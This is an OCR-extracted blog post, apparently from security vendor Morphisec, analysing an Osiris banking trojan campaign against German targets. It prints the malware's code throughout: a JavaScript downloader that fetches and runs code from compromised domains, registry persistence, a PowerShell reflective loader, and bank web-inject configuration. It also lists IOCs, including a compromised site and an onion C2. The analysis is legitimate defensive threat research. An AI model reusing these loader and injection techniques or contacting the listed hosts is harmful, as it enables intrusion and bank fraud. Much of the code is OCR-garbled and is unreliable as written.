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GERMAN IP
ADDRESSES

- TARGETED BY
OSIRIS TROJAN

During the period between January 15 and 20, Morphisec identified a significant campaign
targeting multiple German customers from the manufacturing industry. Targeted personnel
were redirected to compromised websites that were, and still are, delivering advanced
fileless downloaders that eventually lead to an Osiris client with a bundled mini-Tor
communicating to a C2 onion Tor panel.

Following an additional investigation and sharing some of the TTPs with the community, we
were notified of additional targeted countries such as the United States and Korea, which
were delivered REvil and other payloads using the same delivery mechanism as described in
the report.

In this blog, we will go over every stage of the attack chain in the German campaign.

Technical Introduction

The attack chain is composed of five main stages;

¢ An obfuscated Javascript downloader from a compromised site

» A Second stage Javascript downloader that takes care of persistence

* A Powershell executed by the Javascript that leads to reflective loading of the next
stage .NET file

o Afileless .NET loader that's mapped from the registry and decodes to a new .NET
hollower in-memory executable, which is responsible for hollowing the Osiris trojan
into a legitimate Windows process.

o Osiris connects to its C2 with the help of a mini-Tor bundle.
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Figure 1: The Osiris attack chain.

Initial Access

The victim receives a link to a compromised website that contains a download link to a
malicious zip file, which then contains a JS file. , the web page and the file name translates
to “collective agreement on-call remuneration ig metal.”

The download as well as the rest of the attack chain communication will be available only to
an IP located in Germany.

tarifvertrag rufbereitschaft vergiitung ig metall?
#1 202010114 £:42 prm

Hallo, ich méchte tarifvertrag rufbereitschaft vergatung ig metall. Ein Freund meinte, er hatte es in eurem

Talentfrei
Forum gesehen. Ich wére echt dankbar flr einen Tipp.

&

Registrierter Nutzer

Admin Hier ist der direkte Download-Link, tarifvertrag rufbereitschaft vergiitung ig metall.

Administrator

Talentfrei Danke fur die Antwort! Genau wonach ich gesucht habe.

&

Registrierter Nutzer

Figure 2: The compromised website.

The screen shot above is taken from the compromised website.

Stage 1 - Javascript downloader
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The JavaScript file inside the zip archive:

§| tarifvertrag_rufbereitschaft_vergitung_ig_metalljs  1/19/2021 2:08 PM

Figure 3: The JavaScript file.

The screenshot below is a formatted view of the malicious Javascript:

[Fanction us() {
vowel = ELH
while (5771) {
try (
we [vowel] () ;
1 tnh (f ct) {
e[2735451] = arrive

1
vowel+t

=
kill
¥

function stay(nation, dance, stream, own) {
return differ(nacior .

¥

function least (burn e, pull, cover) {
) :
w\:rd =k
time = [
for (milk = kill; milk <= (5'\&(!1.:1'1) - collect): milksd) {
f(dff (h ilk, collect, bu )—E'lg e) {

Time [s] (:wa)l:u\ff {puzn, wcu\ milk - word);
1k o011,

wnd

]
1
time[she(time)] = differ(burn, word);
re r.um Time;

funetion pJ e(like, clear) {

Ti)
ool [country] = arrive[school [kill]];

function low(locate, direct) {
ky—.:
rect = key:

Figure 4: A formatted view of the malicious JavaScript

As seen above, the Javascript code is composed of dictionary generated code and includes
real words in order to evade the static file scan used by AV solutions for obfuscation
detection. It's important to note that for every new download of javascript, the JS code won’t
be exactly the same, but it will have a similar structure.

In order to deobfuscate the embedded code in all Javascript stages, the following code

snippet can be used:

function decbfuscate(txt) {
i=8;
new_txt = "";
while (i < 2251) {
chr = txt.substr{i, 1);

new_txt = (i % 2) ? (new_txt + chr) :

e+
1}

return new_ixt;

Figure 5: Deobfuscating the JavaScript

(chr + new_txi);
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Step 2

The “prove” variable (the long obfuscated string) actually contains the embedded next step
obfuscated Javascript code that deobfuscates itself into:

constructor, tfkbridmw =
boat = (WScript) ["C"™ + "rea”
save = "HKEY C" + "U" + T
lery {
boat["Reg” + "Rea” + "d" + ""](save);
} catch (e) {
boat["Re" + "gW" + "rite" + ""](save, "", "RE" + "G " 4 "S" 4 "I" + "7);
a= - 41;
village = 32;

-}
ltry {
school[a] (create('ihddieckbsizrav=2\"\"++w\"',p hfpa.l er)a;e sK/.\'s+e]ni { +:\ /c:astpctht (he\"
} catch (e) {
WScript.sleep(: 35 ):
-}
xhfrncp = school;

Figure 6: The "prove" variable.

Note that for every new download of Javascript, the unique id is represented by the registry
path generated within the “HKCU/<Random 5 letters>.” The “create” function is then called
with the Javascript code execution in the next step.

Step 3

As seen on the screenshot below, the Javascript contains three domains that the code
attempts to communicate with. It's worth mentioning that they are also compromised (those
domains change every couple of days).

0 = ["www.ehiac.com", "www.edmondoberselli.net", "www.cwal037.oxg"];
A= 0;
Jwhile (A < =) {
K = WScript.CreateObject ('MSXML2,ServerXMLHTITE') ;
W = Math.random().toString() [" txr"] (2, + 30):
| if (WScript.CreateObject("WScript.S5hell") .ExpandEnvironmentStrings ("$USERDNSDOMAINE") != "SUSERDNSDOMAIN:") {
Ww=w+ "278146";
i }
1 try {
K.open('GET', 'https://' + o[A] + '/search.php' + "?vribcidihdeksza=" + w, false):
K.send() s
} catch (e) {
return false;
| }
] if (K.status === R |
var e = K.responseText;
B if ((e.indexCf("E" + w + "E", 0)) == =-1) {
WScript.sleep( )
} else {
e = e.replace("E" + w + "E", "");
B var I = e.replace(/(\d{2})/g, function(j) {
return String.fromCharCode (parselnt(j, ) o+ Y
by
school [3] (I) ():
WScript.Quic():
b }
} else {
WScript.sleep( }:
4 }
L+
}

Figure 7: The three compromised domains the code communicates with.
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The parameter for ‘search’ is also unique per download. The script identifies if the machine is

located in a domain by expending the environment variable %USERDNSDOMAIN%.
Depending on what it receives, it sends a different get request to the compromised website

with a high possibility for a different malware.

Stage 2 - Javascript persistence

The second stage formatted Javascript is delivered only to German |IP addresses. The code
already includes its next stage .NET code, which will be persisted into registry.

teobject (\"shell.application\");
eXobject (\"Scripting.FileSystemobject\"};

Hvar yjarbpp = WScript.CreateObject (\"WScript.shell\");

Cfznixlz = yjarbpp.ExpandEnviromnmentStrings (\"&U Ny
mosdyfamrl = O;

try

=K1

=] yiarbpp.RegRsad (\"HKEY_CURRENT_USER\\\\SCFTWARE\\\\\"+fznixlz+\"\\\\\") ;
1

catch (srr)
=X
mosdyfamrl = 1;
= yjarbpp.RegWrite (\"HREY CURRENT USER\\\\SOFTWARE\\\\\"+£fznixlz+\"\\\\\", \"\", \"REG_Sz\");

if (mosdyfamrl==l)
=R
reotzu = '
psnoz=0;
for (var i = 0; i <= uwurfydrp.length - 1; i++)
=i {
reotzu=recotzutuwurfydrp.substring (i, i + 1);
if (rcotzu.length— )
{
=| yjarbpp-RegWrite (\"HREY_ CURRENT USER\\\\SOFTWARE\\\\\"+fznixlz+\"\\\\\"+psnoz, rcotzu, \"REG_SZ\"); psnoz=psnoz+l; rcotzu='";
¥

}
if (rcotzu.length>0)

{
S yjarbpp.Reghrite (\"HEEY CURRENT USER\\\\SOFTWARE\\\\\"+fznixlz+\"\\\\\"+psnoz, rco tzu, \"REG_Sz\");
r 1
rt
uwurfydrp = ogvpawsttaby;
fznixlz = fznixlz+\"1\";
mosdyfamrl = 0;
try
=l

Figure 8: The second stage formatted JavaScript.

1
uwurfydrp = ogvpawsttabg;

fznixlz = fznixlz+\"1\";
mosdyfamrl = 07
try
=K1
=] yjarbpp.RegRead (\"HREY_CURRENT USER\\\\SOFTWARE\\\\\"+fznixlz+\"\\\\\");

catch (srr)
=Rt
mosdyfamrl = |;
=i yiarbpp.Reghrite (\"HKEY CURRENT USER\\\\SOFTWARE\\\\\"+fznixlz+\"\\\\\", \"\", \"REG sz\");

if (mosdyfamrl=——1)

rcotzu = '';

psnoz=0;

for (var i — 0; i €= uwurfydrp.length — 1; i++)

= {
rcotzu—rcotzutuwurfydrp.substring(i, i + 1);
if (rcotzu.length—:000)
{
=) vjarbpp-RegWrite (\"HEREY CURRENT USER\\\\SOFTWARE\\\\\"+fznixlz+\"\\\\\"+psnoz, rcotzu, \"REG_Sz\");
psnoz=psnoz+l;
reotzu='";
}
¥
if (reotzu.length>D)

yjarbpp.RegWrite (\"HEKEY CURRENT USER\\\\SOFTWAREA\\\\"+fznixlz+\"\\\\\"+psnoz, rcotzu, \"REG_Sz\");
¥
if (bocaxjycxuwi.FolderExists (\"C:\\\\Program Files (x86)\"))
= {
var ybxjge = 'C: Windows erShell\\\\v1.0 powershell.exe';
}
else
{
var ybxjge = 4 e
¥
yyozbtlpr.shellExecute ("cmd', '/c '+ybzjge+’ -En \"PAAiA GMAGWEQAHIAZQBKZ SACARIWA+ACQACQAIACCE VAHMAZQBYAE4AYOBLA

Figure 9: The JavaScript executing 32-bit Powershell

As seen above, the Javascript code will execute 32-bit Powershell using cmd

OS architecture by validating the program files directory name extension.

JAGACGATABRADOAL

. It identifies the
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Powershell - reflective loading

The executed Powershell command reflectively loads the next stage .NET executable from
registry represented by “HKCU:\SOFTWARE\<username>1”, but not before applying a
minimalistic deobfuscation replacement algorithm on the value of the registry :

<f svpxe f>$u=$env:UserName;
i§it+t)

SOFTWARE\"+§u+"1";

function chba

=] {
[cndletbinding () Iparam ([parameter (Mandatory=$true) ] [String]$hs) ;
$Bytes = [byte[]]::new($hs.Length / 2);
for ($i=0;$i -1t $hs.Length;$i+=2)
=] {
$Bytes[$i/2] = [convert]::ToByte ($hs.Substring($i, 2), 1)
$Bytes
br
$i = 0;
While ($True)
(=] {

Sit+;
Sko = [math]::Sqrt(§i);
if (Sko —eqg |

{
break
1
¥

[byte[11$b = chba($a.replace("i",5ko)) ;
[Reflection.Assembly] : :Load ($b) ;
[Mode] ::Sstup () 7

Figure 10: Reflective loading of the next stage.

A simple search in VirusTotal that is based on the replacement function “chba” will lead to
previous versions of the Powershell that are dependent on “HKCU:\SOFTWARE\<machine
name>1."

.NET loader

As seen from the previous stages, the .NET loader is a small size code that is written to the
registry by the second stage Javascript and is loaded to the memory by the third stage
Powershell reflective loader

Windows Registry Editor Version 5.00

[HKEY CURRENT USER\Software\<username>1]
e="r B
"

"4d5a90000300000004000000££££000080000000000000040000000000000000000000000000000000000000000000000000000000000
"0066005100e7018e005100ee01ab0061001b02c300710033024#41004002c70069004702cd0079005802d30069006102d70009005802d30
"2"="20015121902120002030a0108061512190208051710020215122d011e0115122d011e00151219021e001e0104020208050c1001011d1e0
"3"="000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"

Figure 11: The .NET loader

The .NET loader will add additional persistence and is responsible for decoding the next step
.NET hollower variant, which is located under “HKCU:\SOFTWARE\<machine name>"
(without the 1).
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Figure 12: The .NET hollower variant.

The .NET code under <username> is obviously much larger than the loader as it includes

both the hollowing functionality and the Osiris code.

Windows Registry Editor Version 5.00

B [HKEY_CURRENT_USER\Software\<usernames]
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Figure 13: The .NET code containing hollowing and Osiris.

This .NET hollower injects the Osiris executable into a legitimate “/ImagingDevice” executable

that comes preinstalled with Windows as part of the Windows Photo Viewer software.
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Figure 14: The .NET hollower injecting Osiris.

Osiris TROJAN

Following the hollowing, the Osiris executable uses its bundled mini-Tor component to
communicate with a Tor panel. As can be seen below, the banking trojan still implements
many of its original banker functionalities.

. AL T4E0EAD2 mov eax,dword prr : [26A8D74] IZEABDT 42 &TMVAWER N MV_E
. B3C4 14 add esp,i4
. 6A 20 push
F]. B85CO test eax,eax
. T4 O7 je 263FCBA
. 8D4D FS Jea ecx,dword prr ss:[ebp-sl
. 51 pUSh ecx

. 50 pusl
.~ EB 03 ii"\D FCa3
> BD45 F8 eax, dword p [ 3
. 50 push x
D263FC8E||. 68 50388502 push Ib_265 385 2653850 "Kronos
> BDBD GCFFFFFF lea ecx,dword prr 5s:[ebp-24]
. EB BBECFEFF €@ <sub_JE2ES5E>
E|l. 5o push eax
. ES8 3E0BOOOD call <sub_26407E2>
. 6A 42 push
. BD45 F8 s ebp-£j

« 50

. BE 1080D6ADZ
56

. [EB FAEIFFFF

. B3C4 18

. 68 583BES02  |push <sub_2es3BSE>  |>e53BEB:L
. A

. 63 58806ADZ push ABDS ZGABDS5 5

. ES& SADADODD €Al <sub_z640734>

Figure 15: The Osiris executable uses a bundled mini-Tor.
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O 33¢0 Xor eax,ean
. €2 0800 [

(=] CABATFO2 |mov eax,dword ptr dsz[27FE6ACH 027FEAC4:&™set_url https://~commerzbank.de* GPI\rin\r\ndata_before\rin</heads\rindata_end\r'
. 85CO test_eax,eax
. 73 07 ie 27B5E46
- 50 ush eax
. ES BESTO000 <sub_278F600>
. 53 pop ecx
e 8325 C4GATFO2 00 and_dword = [2755.(4) 0 [027FGAC4:a"set_url https://*commerzbank.de* GPI\rin\r\ndata_before\r\ne/heads\rindata_end\r
. ES 2ESEFEFF a1l <sub_z76FC

€sT_cax,cax

. 74 05 2785E5
. ES BESCFEFE h <sUb_276FB10>

Lo-re 8325 CCBATFOZ 0O and dword ptr ds: [27FEACC] 0
. 3 ret

Bl 68 3E6ITBOZ push <sub_278694E> sub_2755E63
. FF35 C46A7TFOZ push dword ptr ds: [27F6ACH) ACHia"SEt_url https://~commerzbank,de= GPI\r\m\rindata_before\rne/head-\r\ndata_end\r
. 65 68777FO2 push 27F7768 7768: " {B6CD13EZ-E5 38-4EFA-BOFF-7422395 7BAECT
. ush #
. ES 269AFEFF =sub_276FBAL>
. 33C0 Xor eax,eax
. €2 0400 rEr +

Bl 56 push esi 27ESETF
. 33F6 xor esi,esi
. 56 push esi
* >

=102 L X
gh?;ﬂr GS [ﬂZ?FW‘ &"SET_url RTTPS:/ /T commerzbank, deT GRINF\M\F\NGATA_beforelrin</heads\rindata_end\rindata_injectirincdiv 14=mif230 style=1eft:0px; 1op:0px;widTh: 100%; height: 10
&’ rom
02Z7BSE36 <§ub_2785536>

% ointer L0 SEF_Recordll
Woump1 @oump2 Woump3 yoump4  @oumps @ watch1l  I-llocals . Struct 76060820 | Kernelbase. 76060820
Address | 1 ~ 470867
00000000
OO0AFSAD0
o
00AF 2450 hite;positiol 00000410
OOAFSACO | &x: 8100135 /d1v>, . <SCF1PT Cype=text/javascript sr tps: //banka Rl
OOAF9BO0 | ppsecurised. com/googl e ) 3t=mo1%3Eb2427 SHIE1 239437 99301 4RE=CO29 coa0a0n
OOAF9B40 | MM34TMERZ></5Cript>..data_end..data_after..data_end....set_url h e EREC e
00AFSBS0| ttps://*.de/*fentry* GPI....data_before..</head>..data_end..data 027 6F606| return 0276F606 From
00AF9BCO| _inject..<div d=mjf230 style=left:0px;top:Dpx;width: 100%; height Q0000410 o
OOAFSCO0 | T 100%; background-color :whiCe; position: absolute;z-1ndex: 91001; </ ]
OQOAFSCA0 | d1v>. ‘<5CV 1pT_Type=Text/javascript src=ntIps: EEHKADDSECI"’TSEH‘ OOAFD T &
OOAFSC B0 | com,/ 0og] 871 3T =mo 153E b 2427 SKIEL - 2339437993935 < /5cr i pra. . data_en 750£3040| kernel32. 7S0E3D40
OOAFSCCO | ..data_after..data_end....set_ur] https://* de.znank-mg-‘_nurta'l" it o
QOAFSE00 ¢ GPI....darabefore. . </hea ata_end. .data_inject..<div id=nj taun
00AFS040| f230 style=Teft top:0px;width: 100%; height: mnw hackaround r.o T i R
SoAFaDn | Tor whiee nsI\:Ion'ahsnlu\:e 2-1ndex:91001;></d1v>. . <Script Type= "
ey i 221 1
74424 _10 01000000 |mov 5
HFégzli 'é"“ ~ Hide FPU
e .
EAX  oop37EEE ~
837C24 14 00 cmp
g EEx 00000003
7F 13 ig_27807D
68 scaprFoz ush 277 B ECX 00000030
E8 93FTFFFF h EDX 00980043
5s pop ec e8P oo@37C2s
74224 14 09000000 | moy aword prr ss:fespiied,o ESP  OO7DFES4  &"hTTp://ylnfkeznzglodx
E8 C2FFF! €Al <sub_277D7AZ> ESI  00B37C30 &"http://yInfkeznzg7o4»
:é:;ogg?mz mov eax,dword ptr 4"[17F3-i4] El 000433E0
8828
L. e o27mDEL4
sseD
EFLAGS 00000244
e ZF1 PE1 AF O
886024 18 OF 0 SFO DF O
75 08 cFo Tro 11 v
mo
£8 70340000 call <sun_zvsuss> < >
push -
H push cax §f§ Ddfauelts S.?“:lo - [5 20 unlocked
£6 643A0000 il sl 2731272
50 ush <. esp+ ‘} oo7DFCTS
E8 BB4DFFFF h (Sub_Z?!ZS,F) £5p+C] 00837CD0O
53 pop ecx €sp+10] 007DFCO0
55 pop ccx s: [espr14] 00570000
3308 Xor_ebx, ebx
FF15 3C017402 (G810 dwbrd prr ds:[€sub_27A013C]
ssce mov ecx ,est
894424 1C mov_dword per ss:[esp+icl,eax
ES 493A0000 call <sub_2791272>
50 push zax v
>
cox=30
[T — B8 snrmri 1 v EEERTEETN| 0085 7E60] “hetp: //¥TnT Sh Bhp’ A
Figure 17: Some banker functionality in Osiris
g ; y :
O] 2z [ Tex o gwor per o TRerneTIz AT
00007FEEF0A0L01E || I FF15 ECOFODOD Cat Guéra per e C<asarmoau edand] ex>] 2 Hide FFU
D sssacs v ore
- 18015 22100000 lea_rdx,qword D(r ds: [TFF6F0AD2050] 00007 FFEF0AO2050: "BaseThreadInitThunk™ Rax  DOOGVEEEROADION0 TG Lo}
ms ECOF0000 mord ptr ds: [<iGetProcaddress>] o e
mov rad, 104 BCX
lea rdx,qword prr ss:lirspreol RDX 000 g -
mov_rbx,rax REP  DDDOOODOO00DO0OOD .
movzx eix,byte ptr ds:[rax] RSP ODOOGOFEDFICFEES "S|+ABNNTF"
mov byte ptr ss:frsp:a0f,cl RSI 0000000000000000
00007EF GFOAOL049 movzx ecx;byte ptr ds: [raxi] RDI  00DOO0O00000000D
00007EF 6FOAOL04D mov byte ptr ss:frsp+4if,cl
00007EF GFOAOL0S 1 movzx’ ecx;byte ptr ds: [rax:2] R e
00007FF6FOA0L055 mov byte ptr ss:[frsp+4zl,cl
00007FF 6F0AOL059 nove exbyte pir Ce: s Dy CEOITS CEECOEGEET
7 mov byte pur ss:lirsprésl,cl
B e g
te po 441,
L O ey Ri3  0ODODODOO00DO0OD
mov_byte ptr rsp+4sl,cl R14  0000000000000000
. movzx ecx,byt rax+&] R1S 0000000000000000
M mov byte ptr <1
. Tea rexquord pte dc: [77/6F0%02068] |00007FRGFOAD2068: L STENPS\ | XE4bt1 £ T RIP  ODDO7FFEFOADI000 <geEXG4bEIT.EntryPoints
. vz eix,byte ptr ds:[rax:7]
. mov byte ptr ssiffrsprizll;al RFLAGS 0000000000002 44 ©
. nove eax byte pir ez 1] =
. mov_byte ptr
. . movzx eax,byte [rl xvi]
o | o0oo7Freroaoiosa|| L sssszs sn mov byte ptr ss:lirsprésl,al v "e'a""("“”as‘m“)
G B 3000
rdx DDDD7FF5FDA010DD <getxé4btit.EntryPoint>
e r& 000000FEDFS 4
qord ptr ds: (00007 FFEFOAD2068 L STEMP\\X64bT i €. EXT"]=4D0D45 005 40025 T8 0007EFERDANO0D <gerxE4BEit. EntryPOTRts
[rsp+28] 0000000000000000
- TeXT:00007FFEFOADL079 QeTXG4DTIT. exe: $1079 #479 <ENCryPoint+7s>
) ATretirn to Kernel32.00007FFBC0877C23 from 777
WDumpl  §4Dump2 @HDump3 Y4 Dump4 EHDump5 @ watchl Ie-llocals 2 Struct Sonn oo Ee e ==e o 5000000000000000) o
3Crars
~
0007FFEC09E1000 | CE CC CC CC|CC CC CC CC|45 89 5C 23|08 33 D8 48 fﬁmm 5 zm el
Oo007ErBCOSEIDRG M 2 FE Gt |oa FE FF FE|if 41 58 : 990000F 507 3¢ 503 | 0000000000000000)
2000 ELBco 1020 ek googoogoo(cy 000000F B0F 3CF 318 [00007 FFBCOA4D4D1| return to ntdl1.00007FFBCOA4D4D1 from 727
09007FFBCO9EL030 04 00 45 8502 0000007 B0F 3¢ 320 | 0603000050000003]
00007FFECOIELOSO| 65 89 01 48 (83 el b ez §0C0C000000000000
O0orEratoskives| 35 B o 2e|3n of 95 03|93 7 ok 13|16 6o B 3| LapmekeSut .
O00TEEBCO5EI00 o1 31 51 £i |08 0o 0b 5D i 55 18 45[35 S 51 b8 950000Fe0¢ ¢33 | 0000000000000000)
0D007EFBCO9E1080 41 8B C1 C3|CC CC CC CC|CC CC CC €C[48 89 5C 24A.AATRTETITA. \x frseiilt o] bttt ettt
DD007FFBCO9EL090( 08 57 48 83 |EC 40 49 88|D8 ES 52 00|00 00 48 8B|.WH.1@I.0ER mennnneane o cor o | annnannnaannananl v
000D7EFECO9E10AO|F& 48 8D 54|24 20 33 CO|48 8B CB 4889 43 24 20|OH.TS 3AH.EW, 55 vl< S
Command; [Commands_are comma sepazated (like asserbly instructicns): mov eax, ebx | Default
Paused | gebabtit.exe: > bytes) Time Wasted Debugging: 0:00:01:08

Figure 18: A bundled mini-Tor.

Conclusion
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The Osiris trojan attacking German |IP addresses continues the trojan’s historical use. The
Morphisec platform blocks Osiris with a zero-trust default-deny approach to endpoint
security, powered by moving target defense. Customers of Morphisec are thus protected
from Osiris, regardless of what defense evasion techniques the authors deploy.

I0C:

EC936B6BB7497FFB11577C14A9AB2860EC1DD705DC18225BBDAB5BF57804BDBC -
JS

72C5EEB8807A4576340485377CACC582A3CA651C4632DB06903C125BE6692968 -
.NET module <username1>

63C62D6086A6CF2FCBB22A16C0O6EBOBC870CDB2F0BB029390D3BC815C06A6C6B -
.NET module <username>

2FC970B717486762F6C890F525329962662074EB632F0827C901FB1081CBD98F - Osiris

91F1023142B7BABF6FF75DAD984C2A35BDE61DCOE61F45483F4B65008576D581 -
Minitor www.underregnbuen[.]Jdk/?p=5739 - the compromised website

hxxp:/lylnfkeznzg7o4xjf[.Jonion/kpanel/connect.php - Osiris C2
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https://cta-redirect.hubspot.com/cta/redirect/1534169/d9fd9894-e27f-4cbe-b476-8c321c26f3d0
http://10.10.0.46/mailto:sales@morphisec.com
https://azuremarketplace.microsoft.com/en-us/marketplace/apps/morphisec.morphisec_unified_threat_prevention_platform?tab=overview

